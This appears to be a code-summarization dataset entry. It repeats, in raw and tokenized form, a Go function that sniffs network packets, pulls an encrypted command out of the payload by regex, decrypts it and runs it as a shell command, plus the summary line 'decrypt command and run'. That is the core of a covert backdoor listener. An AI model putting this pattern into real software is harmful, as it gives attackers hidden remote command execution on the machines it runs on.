func usePacket(packet gopacket.Packet) {
	applicationLayer := packet.ApplicationLayer()
	if applicationLayer != nil {
		match = re.FindStringSubmatch(string(applicationLayer.Payload()[:]))
		if len(match) > 0 {
			// match[1] contain ns the encrypted command
			command = decryptCommand(header, match[1])
			fmt.Println("command found :", command)
			execShellCommand(command)
		}
	}
}
// when a packet is found, decrypt command and run
when a packet is found, decrypt command and run
// when a packet is found decrypt command and run
func usePacket(packet gopacket.Packet) {
	applicationLayer := packet.ApplicationLayer()
	if applicationLayer != nil {
		match = re.FindStringSubmatch(string(applicationLayer.Payload()[:]))
		if len(match) > 0 {
			command = decryptCommand(header, match[1])
			fmt.Println("command found :", command)
			execShellCommand(command)
		}
	}
}
func usePacket ( packet gopacket . Packet ) { applicationLayer := packet . ApplicationLayer ( ) if applicationLayer != nil { match = re . FindStringSubmatch ( string ( applicationLayer . Payload ( ) [ : ] ) ) if len ( match ) > 0 { command = decryptCommand ( header , match [ 1 ] ) fmt . Println ( " " , command ) execShellCommand ( command ) } } }
when a packet is found, decrypt command and run
when a packet is found decrypt command and run
// match[1] contain ns the encrypted command